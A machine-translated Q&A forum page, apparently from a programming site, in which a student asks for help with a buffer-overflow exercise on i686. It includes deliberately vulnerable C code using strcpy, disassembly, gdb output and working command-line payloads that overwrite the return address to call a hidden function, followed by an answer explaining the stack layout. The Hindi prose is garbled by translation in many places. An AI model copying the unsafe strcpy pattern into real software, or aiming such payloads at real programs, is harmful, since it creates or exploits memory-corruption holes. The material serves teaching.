2016-03-30 9 views
12

अपनी पढ़ाई के लिए मैं इतना है कि यह बफर overflows और एक "गुप्त" समारोह 'लक्ष्य' कहा जाता कॉलएक बफर अतिप्रवाह शोषण

इस कोड को मैं एक i686 पर परीक्षण के लिए उपयोग है एक पेलोड बनाने का प्रयास करें

#include "stdio.h" 
#include "string.h" 
void target() { 
    printf("target\n"); 
} 
void vulnerable(char* input) { 
    char buffer[16]; 
    strcpy(buffer, input); 
} 
int main(int argc, char** argv) { 
    if(argc == 2) 
    vulnerable(argv[1]); 
    else 
    printf("Need an argument!"); 

    return 0; 
} 

कार्य 1: एक पेलोड बनाएं ताकि लक्ष्य() को कॉल किया जा सके। लक्ष्य कार्य के पते के साथ ईआईपी को बदलकर ऐसा करना आसान था।

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08' 

यह ठीक काम करता है, लेकिन एक विभाजन गलती के साथ बंद हो जाता है:

यह कैसे बफर लग रहा है

Buffer 
(gdb) x/8x buffer 
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532 
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca 

पेलोड मैं प्रयोग किया जाता था।

कार्य 2: एक तरह से पेलोड को संशोधित कि यह एक विभाजन गलती

नहीं देता है यह वह जगह है जहाँ मैं अटक कर रहा हूँ। जाहिर है, यह सेगमेंटेशन गलती का कारण बनता है क्योंकि हम कॉल निर्देश के साथ लक्ष्य नहीं कहते हैं और इसलिए कोई वैध रिटर्न पता नहीं है।

मैं ढेर पर वापसी पता जोड़ने की कोशिश की, लेकिन वह मदद नहीं की

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08' 

हो सकता है कि किसी ने मुझे इस के साथ मदद कर सकते हैं। शायद मुझे मुख्य रूप से सहेजे गए ईबीपी को भी जोड़ना होगा?

मैं programm

0804847d <target>: 
804847d: 55      push %ebp 
804847e: 89 e5     mov %esp,%ebp 
8048480: 83 ec 18    sub $0x18,%esp 
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp) 
804848a: e8 c1 fe ff ff   call 8048350 <[email protected]> 
804848f: c9      leave 
8048490: c3      ret  

08048491 <vulnerable>: 
8048491: 55      push %ebp 
8048492: 89 e5     mov %esp,%ebp 
8048494: 83 ec 28    sub $0x28,%esp 
8048497: 8b 45 08    mov 0x8(%ebp),%eax 
804849a: 89 44 24 04    mov %eax,0x4(%esp) 
804849e: 8d 45 e8    lea -0x18(%ebp),%eax 
80484a1: 89 04 24    mov %eax,(%esp) 
80484a4: e8 97 fe ff ff   call 8048340 <[email protected]> 
80484a9: c9      leave 
80484aa: c3      ret  

080484ab <main>: 
80484ab: 55      push %ebp 
80484ac: 89 e5     mov %esp,%ebp 
80484ae: 83 e4 f0    and $0xfffffff0,%esp 
80484b1: 83 ec 10    sub $0x10,%esp 
80484b4: 83 7d 08 02    cmpl $0x2,0x8(%ebp) 
80484b8: 75 12     jne 80484cc <main+0x21> 
80484ba: 8b 45 0c    mov 0xc(%ebp),%eax 
80484bd: 83 c0 04    add $0x4,%eax 
80484c0: 8b 00     mov (%eax),%eax 
80484c2: 89 04 24    mov %eax,(%esp) 
80484c5: e8 c7 ff ff ff   call 8048491 <vulnerable> 
80484ca: eb 0c     jmp 80484d8 <main+0x2d> 
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp) 
80484d3: e8 58 fe ff ff   call 8048330 <[email protected]> 
80484d8: b8 00 00 00 00   mov $0x0,%eax 
80484dd: c9      leave 
80484de: c3      ret  
80484df: 90      nop 
+0

कृपया एक नोट जोड़ें जिसमें आर्किटेक्चर हम यहां बात कर रहे हैं। मुझे x86 लगता है? –

+0

आह क्षमा करें हाँ यह i686 – Chris

+0

यह मुश्किल है .. मैं स्टैक को दूषित नहीं करने के लिए ईबीपी को बरकरार रखने की कोशिश कर रहा हूं, लेकिन यह पता नहीं लगा सकता कि मुख्य रूप से धक्का देने वाले ईबीपी को कैसे प्राप्त किया जाए, जैसे प्रारंभिक कोड जिसे इसे कहा जाता है segfault नहीं है। –

उत्तर

1

आप पर्याप्त डेटा की आवश्यकता ढेर जहां 'बफ़र' के लिए आरक्षित स्मृति को भरने के लिए की objdump देते स्थित है, तो अधिक स्टैक फ्रेम सूचक अधिलेखित करने के लिए है, तो वापसी के ऊपर लिख target() के पते के साथ पता और फिर target() के भीतर एक और पता लेकिन फ़ंक्शन की शुरुआत में नहीं - इसे दर्ज करें ताकि पुराने स्टैक फ्रेम पॉइंटर को स्टैक पर धक्का न दिया जाए। इससे आपको vulnerable() से ठीक से लौटने की बजाय लक्ष्य चलाने का मौका मिलेगा और फिर target() चलाएं ताकि आप target() से main() पर वापस आएं और इसलिए सेगमेंटेशन गलती के बिना बाहर निकलें।

जब हम कमजोर() पहली बार के लिए दर्ज करें और के बारे में में डेटा डाल करने के लिए कर रहे हैं 'बफ़र' चर ढेर इस तरह दिखता है:

----------- 
| 24-bytes of local storage - 'buffer' lives here 
----------- 
| old stack frame pointer (from main) <-- EBP points here 
----------- 
| old EIP (address in main) 
----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

तो की पता पर शुरू 'बफ़र' हम पर जंक के 24-बाइट्स को स्टैक पर आरक्षित स्थानीय भंडारण से पहले, फिर 4-बाइट बाइट्स प्राप्त करने के लिए स्टैक पर संग्रहीत पुराने स्टैक फ्रेम पॉइंटर से पहले, तो हम स्थान पर पुराने हैं ईआईपी संग्रहित है। वह निर्देश सूचक है कि सीपीयू अंधेरे से पालन करता है। हम उसे पसंद करते हैं। वह इस कार्यक्रम को कुचलने में हमारी मदद करने जा रहा है।

(gdb) disas target 
Dump of assembler code for function target: 
    0x08048424 <+0>:  push %ebp 
    0x08048425 <+1>:  mov %esp,%ebp 
    0x08048427 <+3>:  sub $0x18,%esp 
    0x0804842a <+6>:  movl $0x8048554,(%esp) 
    0x08048431 <+13>: call 0x8048354 <[email protected]> 
    0x08048436 <+18>: leave 
    0x08048437 <+19>: ret 
End of assembler dump. 

का पता: हम) ढेर जो वर्तमान में() लक्ष्य की शुरुआत पता (के साथ मुख्य में कोई पता के लिए अंक में पुराने EIP का मूल्य gdb जुदा आदेश के माध्यम से पाया जाता है के ऊपर लिख लक्ष्य() फ़ंक्शन 0x08048424 है। चूंकि (मेरी प्रणाली कम से कम) प्रणाली थोड़ी एंडियन है, इसलिए हम उन मानों को एलएसबी के साथ पहले दर्ज करते हैं ताकि x24, x84, x04, और x08।

लेकिन वह हमें एक समस्या के साथ छोड़ देता है क्योंकि के रूप में कमजोर() यह सब कबाड़ है कि हम ढेर बंद ढेर में डाल पॉप और हम एक ढेर कि इस तरह दिखता है जब हम सिर्फ करने वाले हैं के साथ छोड़ दिया जाता है देता है पहली बार के लिए लक्ष्य (में प्रक्रिया):

----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

तो जब लक्ष्य() यह उम्मीद और इतने के रूप में एक विभाजन गलती करना होगा अपने ढेर के शीर्ष पर वापसी पता नहीं मिलेगा वापसी चाहता है।

इसलिए हम लक्ष्य() में प्रसंस्करण प्रारंभ करने से पहले हम स्टैक के शीर्ष पर एक नया रिटर्न वैल्यू मजबूर करना चाहते हैं। लेकिन चुनने के लिए क्या मूल्य है? हम ईबीपी को धक्का नहीं देना चाहते क्योंकि इसमें कचरा है। याद है? जब हम 'बफर' को ओवरराइट करते हैं तो हमने इसमें कचरा बदल दिया। तो बजाय सिर्फ बाद

push %ebp

(इस मामले का पता 0x08048425 में) लक्ष्य() अनुदेश धक्का।

इसका मतलब है कि ढेर इस तरह दिखेगा जब लक्ष्य() पहली बार के लिए वापस जाने के लिए तैयार है:

----------- 
| address of mov %esp, %ebp instruction in target() 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

तो लक्ष्य से वापसी() पहली बार की बात है, EIP होगा अब बिंदु लक्ष्य() में दूसरे निर्देश पर, जिसका अर्थ है कि दूसरी बार जब हम लक्ष्य() के माध्यम से प्रक्रिया करते हैं, तो यह वही ढेर होता है जब मुख्य() को संसाधित किया जाता था। ढेर का शीर्ष मुख्य() के लिए ढेर का एक ही शीर्ष है।

----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

तो जब लक्ष्य() दूसरी बार यह एक अच्छा साथ वापस जाने के लिए ढेर है, क्योंकि यह एक ही ढेर है कि मुख्य() का इस्तेमाल किया और उपयोग कर रहा है देता है तो कार्यक्रम सामान्य रूप से बाहर निकालता है: अब ढेर की तरह दिखता है।

तो यह 28-बाइट्स को लक्षित करने के लिए लक्ष्य() में पहले निर्देश के पते के बाद लक्ष्य() में दूसरे निर्देश के पते के बाद है।

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08' 
target 
target 
sys1:/usr2/home> 

और क्योंकि तुम सिर्फ सफलतापूर्वक कुछ काट दिया, उस बिंदु पर आप चिल्लाना AAARRRGHHH yeee हार्डी आवश्यक हैं! बोर्ड बनने के लिए तैयार करें!

संबंधित मुद्दे